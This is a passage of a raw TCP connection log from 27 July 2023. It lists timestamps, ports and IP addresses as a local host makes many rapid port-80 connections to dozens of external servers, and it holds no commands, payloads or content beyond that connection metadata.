Jul 27, 2023 21:52:00.905172110 CEST	56261	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:52:02.191306114 CEST	80	56283	188.114.97.7	192.168.2.4
Jul 27, 2023 21:52:02.191636086 CEST	56283	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:52:20.097811937 CEST	49690	80	192.168.2.4	137.118.26.67
Jul 27, 2023 21:52:20.102468967 CEST	49691	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:52:20.104059935 CEST	49692	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:52:20.108124971 CEST	49693	80	192.168.2.4	192.124.249.20
Jul 27, 2023 21:52:20.110268116 CEST	49694	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:52:20.123739958 CEST	49695	80	192.168.2.4	3.130.204.160
Jul 27, 2023 21:52:20.126645088 CEST	80	49694	188.114.96.7	192.168.2.4
Jul 27, 2023 21:52:20.126748085 CEST	49694	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:52:20.126847982 CEST	80	49693	192.124.249.20	192.168.2.4
Jul 27, 2023 21:52:20.126940012 CEST	49693	80	192.168.2.4	192.124.249.20
Jul 27, 2023 21:52:20.127751112 CEST	49696	80	192.168.2.4	172.67.208.67
Jul 27, 2023 21:52:20.127901077 CEST	49694	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:52:20.128057957 CEST	49693	80	192.168.2.4	192.124.249.20
Jul 27, 2023 21:52:20.143460035 CEST	49697	80	192.168.2.4	70.39.251.249
Jul 27, 2023 21:52:20.144238949 CEST	80	49696	172.67.208.67	192.168.2.4
Jul 27, 2023 21:52:20.144313097 CEST	80	49694	188.114.96.7	192.168.2.4
Jul 27, 2023 21:52:20.144345999 CEST	49696	80	192.168.2.4	172.67.208.67
Jul 27, 2023 21:52:20.144704103 CEST	49696	80	192.168.2.4	172.67.208.67
Jul 27, 2023 21:52:20.146601915 CEST	80	49693	192.124.249.20	192.168.2.4
Jul 27, 2023 21:52:20.146830082 CEST	80	49693	192.124.249.20	192.168.2.4
Jul 27, 2023 21:52:20.146914959 CEST	49693	80	192.168.2.4	192.124.249.20
Jul 27, 2023 21:52:20.160820961 CEST	80	49696	172.67.208.67	192.168.2.4
Jul 27, 2023 21:52:20.171340942 CEST	80	49696	172.67.208.67	192.168.2.4
Jul 27, 2023 21:52:20.171462059 CEST	49696	80	192.168.2.4	172.67.208.67
Jul 27, 2023 21:52:20.225824118 CEST	80	49694	188.114.96.7	192.168.2.4
Jul 27, 2023 21:52:20.225934029 CEST	49694	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:52:20.247251034 CEST	80	49697	70.39.251.249	192.168.2.4
Jul 27, 2023 21:52:20.249758005 CEST	49697	80	192.168.2.4	70.39.251.249
Jul 27, 2023 21:52:20.265029907 CEST	49693	80	192.168.2.4	192.124.249.20
Jul 27, 2023 21:52:20.270936966 CEST	49697	80	192.168.2.4	70.39.251.249
Jul 27, 2023 21:52:20.272336960 CEST	80	49695	3.130.204.160	192.168.2.4
Jul 27, 2023 21:52:20.272435904 CEST	49695	80	192.168.2.4	3.130.204.160
Jul 27, 2023 21:52:20.277170897 CEST	49694	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:52:20.278001070 CEST	49698	80	192.168.2.4	80.93.82.33
Jul 27, 2023 21:52:20.278362989 CEST	49695	80	192.168.2.4	3.130.204.160
Jul 27, 2023 21:52:20.278470993 CEST	49699	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:52:20.284383059 CEST	80	49693	192.124.249.20	192.168.2.4
Jul 27, 2023 21:52:20.284451008 CEST	49693	80	192.168.2.4	192.124.249.20
Jul 27, 2023 21:52:20.293988943 CEST	80	49694	188.114.96.7	192.168.2.4
Jul 27, 2023 21:52:20.311084986 CEST	80	49698	80.93.82.33	192.168.2.4
Jul 27, 2023 21:52:20.311486959 CEST	49698	80	192.168.2.4	80.93.82.33
Jul 27, 2023 21:52:20.348692894 CEST	49698	80	192.168.2.4	80.93.82.33
Jul 27, 2023 21:52:20.359898090 CEST	80	49694	188.114.96.7	192.168.2.4
Jul 27, 2023 21:52:20.360023022 CEST	49694	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:52:20.374700069 CEST	80	49697	70.39.251.249	192.168.2.4
Jul 27, 2023 21:52:20.375824928 CEST	80	49697	70.39.251.249	192.168.2.4
Jul 27, 2023 21:52:20.375943899 CEST	49697	80	192.168.2.4	70.39.251.249
Jul 27, 2023 21:52:20.378068924 CEST	80	49692	59.106.19.204	192.168.2.4
Jul 27, 2023 21:52:20.378562927 CEST	80	49691	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:20.378680944 CEST	49692	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:52:20.379060984 CEST	49691	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:52:20.382824898 CEST	80	49698	80.93.82.33	192.168.2.4
Jul 27, 2023 21:52:20.383055925 CEST	49698	80	192.168.2.4	80.93.82.33
Jul 27, 2023 21:52:20.426597118 CEST	80	49695	3.130.204.160	192.168.2.4
Jul 27, 2023 21:52:20.426630974 CEST	80	49695	3.130.204.160	192.168.2.4
Jul 27, 2023 21:52:20.426712036 CEST	49695	80	192.168.2.4	3.130.204.160
Jul 27, 2023 21:52:20.454814911 CEST	49692	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:52:20.454826117 CEST	49691	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:52:20.455398083 CEST	49697	80	192.168.2.4	70.39.251.249
Jul 27, 2023 21:52:20.455513954 CEST	49695	80	192.168.2.4	3.130.204.160
Jul 27, 2023 21:52:20.475783110 CEST	49698	80	192.168.2.4	80.93.82.33
Jul 27, 2023 21:52:20.482567072 CEST	49700	80	192.168.2.4	3.130.204.160
Jul 27, 2023 21:52:20.512445927 CEST	80	49698	80.93.82.33	192.168.2.4
Jul 27, 2023 21:52:20.512552023 CEST	49698	80	192.168.2.4	80.93.82.33
Jul 27, 2023 21:52:20.540400028 CEST	80	49699	206.191.152.37	192.168.2.4
Jul 27, 2023 21:52:20.540502071 CEST	49699	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:52:20.550973892 CEST	49699	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:52:20.551148891 CEST	49701	80	192.168.2.4	34.149.87.45
Jul 27, 2023 21:52:20.551167011 CEST	49702	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:52:20.551278114 CEST	49703	80	192.168.2.4	104.26.7.221
Jul 27, 2023 21:52:20.559876919 CEST	80	49697	70.39.251.249	192.168.2.4
Jul 27, 2023 21:52:20.559959888 CEST	49697	80	192.168.2.4	70.39.251.249
Jul 27, 2023 21:52:20.565383911 CEST	80	49701	34.149.87.45	192.168.2.4
Jul 27, 2023 21:52:20.565499067 CEST	49701	80	192.168.2.4	34.149.87.45
Jul 27, 2023 21:52:20.567408085 CEST	80	49702	188.114.96.7	192.168.2.4
Jul 27, 2023 21:52:20.567451000 CEST	80	49703	104.26.7.221	192.168.2.4
Jul 27, 2023 21:52:20.567490101 CEST	49702	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:52:20.567522049 CEST	49703	80	192.168.2.4	104.26.7.221
Jul 27, 2023 21:52:20.578880072 CEST	49702	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:52:20.578931093 CEST	49703	80	192.168.2.4	104.26.7.221
Jul 27, 2023 21:52:20.578933954 CEST	49701	80	192.168.2.4	34.149.87.45
Jul 27, 2023 21:52:20.593283892 CEST	80	49701	34.149.87.45	192.168.2.4
Jul 27, 2023 21:52:20.595149994 CEST	80	49702	188.114.96.7	192.168.2.4
Jul 27, 2023 21:52:20.595190048 CEST	80	49703	104.26.7.221	192.168.2.4
Jul 27, 2023 21:52:20.604129076 CEST	80	49695	3.130.204.160	192.168.2.4
Jul 27, 2023 21:52:20.608802080 CEST	80	49703	104.26.7.221	192.168.2.4
Jul 27, 2023 21:52:20.608855009 CEST	80	49703	104.26.7.221	192.168.2.4
Jul 27, 2023 21:52:20.608900070 CEST	80	49703	104.26.7.221	192.168.2.4
Jul 27, 2023 21:52:20.608922005 CEST	49703	80	192.168.2.4	104.26.7.221
Jul 27, 2023 21:52:20.608947992 CEST	80	49703	104.26.7.221	192.168.2.4
Jul 27, 2023 21:52:20.608958960 CEST	49703	80	192.168.2.4	104.26.7.221
Jul 27, 2023 21:52:20.608985901 CEST	80	49703	104.26.7.221	192.168.2.4
Jul 27, 2023 21:52:20.608994007 CEST	49703	80	192.168.2.4	104.26.7.221
Jul 27, 2023 21:52:20.609023094 CEST	80	49703	104.26.7.221	192.168.2.4
Jul 27, 2023 21:52:20.609040022 CEST	49703	80	192.168.2.4	104.26.7.221
Jul 27, 2023 21:52:20.609070063 CEST	49703	80	192.168.2.4	104.26.7.221
Jul 27, 2023 21:52:20.609091997 CEST	49703	80	192.168.2.4	104.26.7.221
Jul 27, 2023 21:52:20.613168955 CEST	80	49702	188.114.96.7	192.168.2.4
Jul 27, 2023 21:52:20.613286018 CEST	49702	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:52:20.630764961 CEST	80	49700	3.130.204.160	192.168.2.4
Jul 27, 2023 21:52:20.631119967 CEST	49700	80	192.168.2.4	3.130.204.160
Jul 27, 2023 21:52:20.635266066 CEST	80	49701	34.149.87.45	192.168.2.4
Jul 27, 2023 21:52:20.635369062 CEST	49701	80	192.168.2.4	34.149.87.45
Jul 27, 2023 21:52:20.652753115 CEST	80	49692	59.106.19.204	192.168.2.4
Jul 27, 2023 21:52:20.729892969 CEST	80	49692	59.106.19.204	192.168.2.4
Jul 27, 2023 21:52:20.729957104 CEST	80	49692	59.106.19.204	192.168.2.4
Jul 27, 2023 21:52:20.730001926 CEST	80	49692	59.106.19.204	192.168.2.4
Jul 27, 2023 21:52:20.730046034 CEST	49692	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:52:20.730046034 CEST	49692	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:52:20.730050087 CEST	80	49692	59.106.19.204	192.168.2.4
Jul 27, 2023 21:52:20.730046034 CEST	49692	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:52:20.730096102 CEST	80	49692	59.106.19.204	192.168.2.4
Jul 27, 2023 21:52:20.730098963 CEST	49692	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:52:20.730142117 CEST	80	49692	59.106.19.204	192.168.2.4
Jul 27, 2023 21:52:20.730156898 CEST	49692	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:52:20.730186939 CEST	80	49692	59.106.19.204	192.168.2.4
Jul 27, 2023 21:52:20.730232000 CEST	80	49692	59.106.19.204	192.168.2.4
Jul 27, 2023 21:52:20.730246067 CEST	49692	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:52:20.730246067 CEST	49692	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:52:20.730277061 CEST	80	49692	59.106.19.204	192.168.2.4
Jul 27, 2023 21:52:20.730324030 CEST	80	49692	59.106.19.204	192.168.2.4
Jul 27, 2023 21:52:20.730334044 CEST	49692	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:52:20.730334044 CEST	49692	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:52:20.731482029 CEST	49692	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:52:20.731672049 CEST	80	49691	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:20.734591961 CEST	80	49691	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:20.734637976 CEST	80	49691	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:20.734683990 CEST	80	49691	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:20.734688044 CEST	49691	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:52:20.734729052 CEST	49691	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:52:20.734729052 CEST	49691	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:52:20.734733105 CEST	80	49691	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:20.734771013 CEST	49691	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:52:20.734781027 CEST	80	49691	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:20.734817982 CEST	49691	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:52:20.734827042 CEST	80	49691	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:20.734867096 CEST	49691	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:52:20.734873056 CEST	80	49691	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:20.734911919 CEST	49691	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:52:20.734920025 CEST	80	49691	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:20.734965086 CEST	49691	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:52:20.734966040 CEST	80	49691	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:20.735004902 CEST	49691	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:52:20.747248888 CEST	49700	80	192.168.2.4	3.130.204.160
Jul 27, 2023 21:52:20.811227083 CEST	80	49699	206.191.152.37	192.168.2.4
Jul 27, 2023 21:52:20.811280966 CEST	80	49699	206.191.152.37	192.168.2.4
Jul 27, 2023 21:52:20.811326027 CEST	80	49699	206.191.152.37	192.168.2.4
Jul 27, 2023 21:52:20.811376095 CEST	49699	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:52:20.811438084 CEST	49699	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:52:20.827079058 CEST	49704	80	192.168.2.4	213.186.33.17
Jul 27, 2023 21:52:20.858700037 CEST	80	49704	213.186.33.17	192.168.2.4
Jul 27, 2023 21:52:20.858803988 CEST	49704	80	192.168.2.4	213.186.33.17
Jul 27, 2023 21:52:20.894501925 CEST	80	49700	3.130.204.160	192.168.2.4
Jul 27, 2023 21:52:20.894536972 CEST	80	49700	3.130.204.160	192.168.2.4
Jul 27, 2023 21:52:20.894603968 CEST	49700	80	192.168.2.4	3.130.204.160
Jul 27, 2023 21:52:20.894634962 CEST	49700	80	192.168.2.4	3.130.204.160
Jul 27, 2023 21:52:20.964987040 CEST	49700	80	192.168.2.4	3.130.204.160
Jul 27, 2023 21:52:20.965233088 CEST	49699	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:52:20.977648020 CEST	49704	80	192.168.2.4	213.186.33.17
Jul 27, 2023 21:52:21.004328966 CEST	80	49692	59.106.19.204	192.168.2.4
Jul 27, 2023 21:52:21.004398108 CEST	80	49692	59.106.19.204	192.168.2.4
Jul 27, 2023 21:52:21.004462957 CEST	49692	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:52:21.004462957 CEST	49692	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:52:21.010987997 CEST	80	49691	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:21.011034012 CEST	80	49691	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:21.011068106 CEST	80	49691	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:21.011101961 CEST	80	49691	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:21.011136055 CEST	80	49691	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:21.011159897 CEST	80	49691	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:21.011172056 CEST	49691	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:52:21.011172056 CEST	49691	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:52:21.011173010 CEST	49691	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:52:21.011183977 CEST	80	49691	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:21.011224031 CEST	80	49691	118.27.125.181	192.168.2.4
Jul 27, 2023 21:52:21.011255026 CEST	49691	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:52:21.011292934 CEST	49691	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:52:21.012089968 CEST	80	49704	213.186.33.17	192.168.2.4
Jul 27, 2023 21:52:21.012129068 CEST	80	49704	213.186.33.17	192.168.2.4
Jul 27, 2023 21:52:21.012156963 CEST	49704	80	192.168.2.4	213.186.33.17
Jul 27, 2023 21:52:21.012166977 CEST	80	49704	213.186.33.17	192.168.2.4
Jul 27, 2023 21:52:21.012185097 CEST	49704	80	192.168.2.4	213.186.33.17
Jul 27, 2023 21:52:21.012191057 CEST	80	49704	213.186.33.17	192.168.2.4
Jul 27, 2023 21:52:21.012227058 CEST	49704	80	192.168.2.4	213.186.33.17
Jul 27, 2023 21:52:21.012229919 CEST	80	49704	213.186.33.17	192.168.2.4
Jul 27, 2023 21:52:21.012252092 CEST	49704	80	192.168.2.4	213.186.33.17
Jul 27, 2023 21:52:21.012283087 CEST	49704	80	192.168.2.4	213.186.33.17
Jul 27, 2023 21:52:21.012291908 CEST	80	49704	213.186.33.17	192.168.2.4
Jul 27, 2023 21:52:21.012346983 CEST	49704	80	192.168.2.4	213.186.33.17
Jul 27, 2023 21:52:21.112175941 CEST	80	49700	3.130.204.160	192.168.2.4
Jul 27, 2023 21:52:21.224973917 CEST	80	49699	206.191.152.37	192.168.2.4
Jul 27, 2023 21:52:21.309813976 CEST	49705	80	192.168.2.4	62.122.190.121
Jul 27, 2023 21:52:21.310555935 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:21.315609932 CEST	49707	80	192.168.2.4	172.217.16.179
Jul 27, 2023 21:52:21.326991081 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:21.327205896 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:21.328933001 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:21.329866886 CEST	80	49707	172.217.16.179	192.168.2.4
Jul 27, 2023 21:52:21.329971075 CEST	49707	80	192.168.2.4	172.217.16.179
Jul 27, 2023 21:52:21.333748102 CEST	49707	80	192.168.2.4	172.217.16.179
Jul 27, 2023 21:52:21.344963074 CEST	80	49705	62.122.190.121	192.168.2.4
Jul 27, 2023 21:52:21.345045090 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:21.345078945 CEST	49705	80	192.168.2.4	62.122.190.121
Jul 27, 2023 21:52:21.345736980 CEST	49705	80	192.168.2.4	62.122.190.121
Jul 27, 2023 21:52:21.347884893 CEST	80	49707	172.217.16.179	192.168.2.4
Jul 27, 2023 21:52:21.380489111 CEST	80	49705	62.122.190.121	192.168.2.4
Jul 27, 2023 21:52:21.382422924 CEST	80	49705	62.122.190.121	192.168.2.4
Jul 27, 2023 21:52:21.382560015 CEST	49705	80	192.168.2.4	62.122.190.121
Jul 27, 2023 21:52:21.452872038 CEST	80	49707	172.217.16.179	192.168.2.4
Jul 27, 2023 21:52:21.453840971 CEST	49707	80	192.168.2.4	172.217.16.179
Jul 27, 2023 21:52:21.582185030 CEST	49705	80	192.168.2.4	62.122.190.121
Jul 27, 2023 21:52:21.584244967 CEST	49708	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:52:21.584358931 CEST	49709	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:52:21.584405899 CEST	49710	80	192.168.2.4	172.67.152.159
Jul 27, 2023 21:52:21.584435940 CEST	49711	80	192.168.2.4	192.241.158.94
Jul 27, 2023 21:52:21.600748062 CEST	80	49710	172.67.152.159	192.168.2.4
Jul 27, 2023 21:52:21.600884914 CEST	49710	80	192.168.2.4	172.67.152.159
Jul 27, 2023 21:52:21.612973928 CEST	49710	80	192.168.2.4	172.67.152.159
Jul 27, 2023 21:52:21.618992090 CEST	80	49705	62.122.190.121	192.168.2.4
Jul 27, 2023 21:52:21.619115114 CEST	49705	80	192.168.2.4	62.122.190.121
Jul 27, 2023 21:52:21.629339933 CEST	80	49710	172.67.152.159	192.168.2.4
Jul 27, 2023 21:52:21.682374954 CEST	80	49711	192.241.158.94	192.168.2.4
Jul 27, 2023 21:52:21.682529926 CEST	49711	80	192.168.2.4	192.241.158.94
Jul 27, 2023 21:52:21.691832066 CEST	49711	80	192.168.2.4	192.241.158.94
Jul 27, 2023 21:52:21.706054926 CEST	49712	80	192.168.2.4	89.161.163.246
Jul 27, 2023 21:52:21.708551884 CEST	80	49710	172.67.152.159	192.168.2.4
Jul 27, 2023 21:52:21.708587885 CEST	80	49710	172.67.152.159	192.168.2.4
Jul 27, 2023 21:52:21.708609104 CEST	80	49710	172.67.152.159	192.168.2.4
Jul 27, 2023 21:52:21.708621979 CEST	49710	80	192.168.2.4	172.67.152.159
Jul 27, 2023 21:52:21.708689928 CEST	49710	80	192.168.2.4	172.67.152.159
Jul 27, 2023 21:52:21.708689928 CEST	49710	80	192.168.2.4	172.67.152.159
Jul 27, 2023 21:52:21.723942041 CEST	80	49708	52.86.6.113	192.168.2.4
Jul 27, 2023 21:52:21.724026918 CEST	49708	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:52:21.736041069 CEST	80	49712	89.161.163.246	192.168.2.4
Jul 27, 2023 21:52:21.737153053 CEST	49712	80	192.168.2.4	89.161.163.246
Jul 27, 2023 21:52:21.782367945 CEST	49708	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:52:21.782547951 CEST	49712	80	192.168.2.4	89.161.163.246
Jul 27, 2023 21:52:21.783499956 CEST	49713	80	192.168.2.4	3.64.163.50
Jul 27, 2023 21:52:21.789158106 CEST	80	49711	192.241.158.94	192.168.2.4
Jul 27, 2023 21:52:21.789186954 CEST	80	49711	192.241.158.94	192.168.2.4
Jul 27, 2023 21:52:21.789299965 CEST	49711	80	192.168.2.4	192.241.158.94
Jul 27, 2023 21:52:21.803407907 CEST	80	49713	3.64.163.50	192.168.2.4
Jul 27, 2023 21:52:21.803560972 CEST	49713	80	192.168.2.4	3.64.163.50
Jul 27, 2023 21:52:21.806931973 CEST	49714	80	192.168.2.4	80.74.154.6
Jul 27, 2023 21:52:21.807595968 CEST	49713	80	192.168.2.4	3.64.163.50
Jul 27, 2023 21:52:21.812477112 CEST	80	49712	89.161.163.246	192.168.2.4
Jul 27, 2023 21:52:21.812946081 CEST	80	49712	89.161.163.246	192.168.2.4
Jul 27, 2023 21:52:21.812980890 CEST	80	49712	89.161.163.246	192.168.2.4
Jul 27, 2023 21:52:21.813043118 CEST	49712	80	192.168.2.4	89.161.163.246
Jul 27, 2023 21:52:21.815005064 CEST	49711	80	192.168.2.4	192.241.158.94
Jul 27, 2023 21:52:21.826621056 CEST	80	49714	80.74.154.6	192.168.2.4
Jul 27, 2023 21:52:21.827168941 CEST	80	49713	3.64.163.50	192.168.2.4
Jul 27, 2023 21:52:21.827269077 CEST	49714	80	192.168.2.4	80.74.154.6
Jul 27, 2023 21:52:21.827617884 CEST	49714	80	192.168.2.4	80.74.154.6
Jul 27, 2023 21:52:21.828058004 CEST	80	49713	3.64.163.50	192.168.2.4
Jul 27, 2023 21:52:21.828999996 CEST	49713	80	192.168.2.4	3.64.163.50
Jul 27, 2023 21:52:21.842749119 CEST	80	49709	206.191.152.37	192.168.2.4
Jul 27, 2023 21:52:21.842849970 CEST	49709	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:52:21.847079039 CEST	80	49714	80.74.154.6	192.168.2.4
Jul 27, 2023 21:52:21.847135067 CEST	80	49714	80.74.154.6	192.168.2.4
Jul 27, 2023 21:52:21.847220898 CEST	49714	80	192.168.2.4	80.74.154.6
Jul 27, 2023 21:52:21.912467957 CEST	80	49711	192.241.158.94	192.168.2.4
Jul 27, 2023 21:52:21.912592888 CEST	49711	80	192.168.2.4	192.241.158.94
Jul 27, 2023 21:52:21.915462971 CEST	49709	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:52:21.921133041 CEST	80	49708	52.86.6.113	192.168.2.4
Jul 27, 2023 21:52:21.921169996 CEST	80	49708	52.86.6.113	192.168.2.4
Jul 27, 2023 21:52:21.921240091 CEST	49708	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:52:21.921320915 CEST	49708	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:52:21.931231022 CEST	49708	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:52:21.957181931 CEST	49714	80	192.168.2.4	80.74.154.6
Jul 27, 2023 21:52:21.976938009 CEST	80	49714	80.74.154.6	192.168.2.4
Jul 27, 2023 21:52:21.978579998 CEST	49714	80	192.168.2.4	80.74.154.6
Jul 27, 2023 21:52:22.048727036 CEST	49715	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:52:22.070044994 CEST	80	49708	52.86.6.113	192.168.2.4
Jul 27, 2023 21:52:22.168999910 CEST	49716	80	192.168.2.4	192.124.249.10
Jul 27, 2023 21:52:22.173784971 CEST	80	49709	206.191.152.37	192.168.2.4
Jul 27, 2023 21:52:22.173955917 CEST	80	49709	206.191.152.37	192.168.2.4
Jul 27, 2023 21:52:22.173994064 CEST	80	49709	206.191.152.37	192.168.2.4
Jul 27, 2023 21:52:22.174062014 CEST	49709	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:52:22.174665928 CEST	49709	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:52:22.187956095 CEST	80	49715	52.86.6.113	192.168.2.4
Jul 27, 2023 21:52:22.187989950 CEST	80	49716	192.124.249.10	192.168.2.4
Jul 27, 2023 21:52:22.188148022 CEST	49715	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:52:22.188225031 CEST	49716	80	192.168.2.4	192.124.249.10
Jul 27, 2023 21:52:22.188483953 CEST	49715	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:52:22.199117899 CEST	49716	80	192.168.2.4	192.124.249.10
Jul 27, 2023 21:52:22.217979908 CEST	80	49716	192.124.249.10	192.168.2.4
Jul 27, 2023 21:52:22.218271017 CEST	80	49716	192.124.249.10	192.168.2.4
Jul 27, 2023 21:52:22.218466997 CEST	49716	80	192.168.2.4	192.124.249.10
Jul 27, 2023 21:52:22.237118959 CEST	49716	80	192.168.2.4	192.124.249.10
Jul 27, 2023 21:52:22.256036043 CEST	49717	80	192.168.2.4	170.82.174.30
Jul 27, 2023 21:52:22.256238937 CEST	80	49716	192.124.249.10	192.168.2.4
Jul 27, 2023 21:52:22.256345034 CEST	49716	80	192.168.2.4	192.124.249.10
Jul 27, 2023 21:52:22.278745890 CEST	49718	80	192.168.2.4	192.252.154.18
Jul 27, 2023 21:52:22.315686941 CEST	49719	80	192.168.2.4	135.181.73.98
Jul 27, 2023 21:52:22.327024937 CEST	80	49715	52.86.6.113	192.168.2.4
Jul 27, 2023 21:52:22.327085018 CEST	80	49715	52.86.6.113	192.168.2.4
Jul 27, 2023 21:52:22.327159882 CEST	49715	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:52:22.327195883 CEST	49715	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:52:22.327819109 CEST	49715	80	192.168.2.4	52.86.6.113
Jul 27, 2023 21:52:22.352981091 CEST	80	49719	135.181.73.98	192.168.2.4
Jul 27, 2023 21:52:22.353084087 CEST	49719	80	192.168.2.4	135.181.73.98
Jul 27, 2023 21:52:22.376662970 CEST	80	49718	192.252.154.18	192.168.2.4
Jul 27, 2023 21:52:22.376823902 CEST	49718	80	192.168.2.4	192.252.154.18
Jul 27, 2023 21:52:22.388159990 CEST	49719	80	192.168.2.4	135.181.73.98
Jul 27, 2023 21:52:22.401050091 CEST	49718	80	192.168.2.4	192.252.154.18
Jul 27, 2023 21:52:22.402923107 CEST	49720	80	192.168.2.4	188.165.133.163
Jul 27, 2023 21:52:22.422719955 CEST	80	49720	188.165.133.163	192.168.2.4
Jul 27, 2023 21:52:22.422926903 CEST	49720	80	192.168.2.4	188.165.133.163
Jul 27, 2023 21:52:22.425760031 CEST	80	49719	135.181.73.98	192.168.2.4
Jul 27, 2023 21:52:22.426163912 CEST	80	49719	135.181.73.98	192.168.2.4
Jul 27, 2023 21:52:22.426274061 CEST	49719	80	192.168.2.4	135.181.73.98
Jul 27, 2023 21:52:22.432813883 CEST	80	49709	206.191.152.37	192.168.2.4
Jul 27, 2023 21:52:22.463094950 CEST	49720	80	192.168.2.4	188.165.133.163
Jul 27, 2023 21:52:22.464221001 CEST	49722	80	192.168.2.4	60.43.154.138
Jul 27, 2023 21:52:22.464350939 CEST	49721	80	192.168.2.4	202.254.236.40
Jul 27, 2023 21:52:22.466201067 CEST	80	49715	52.86.6.113	192.168.2.4
Jul 27, 2023 21:52:22.467072964 CEST	49719	80	192.168.2.4	135.181.73.98
Jul 27, 2023 21:52:22.477855921 CEST	80	49717	170.82.174.30	192.168.2.4
Jul 27, 2023 21:52:22.478292942 CEST	49717	80	192.168.2.4	170.82.174.30
Jul 27, 2023 21:52:22.479053020 CEST	49717	80	192.168.2.4	170.82.174.30
Jul 27, 2023 21:52:22.482734919 CEST	80	49720	188.165.133.163	192.168.2.4
Jul 27, 2023 21:52:22.482819080 CEST	80	49720	188.165.133.163	192.168.2.4
Jul 27, 2023 21:52:22.482906103 CEST	49720	80	192.168.2.4	188.165.133.163
Jul 27, 2023 21:52:22.498953104 CEST	80	49718	192.252.154.18	192.168.2.4
Jul 27, 2023 21:52:22.500571012 CEST	80	49718	192.252.154.18	192.168.2.4
Jul 27, 2023 21:52:22.500632048 CEST	49718	80	192.168.2.4	192.252.154.18
Jul 27, 2023 21:52:22.504499912 CEST	80	49719	135.181.73.98	192.168.2.4
Jul 27, 2023 21:52:22.504776955 CEST	49719	80	192.168.2.4	135.181.73.98
Jul 27, 2023 21:52:22.577385902 CEST	49720	80	192.168.2.4	188.165.133.163
Jul 27, 2023 21:52:22.597151995 CEST	80	49720	188.165.133.163	192.168.2.4
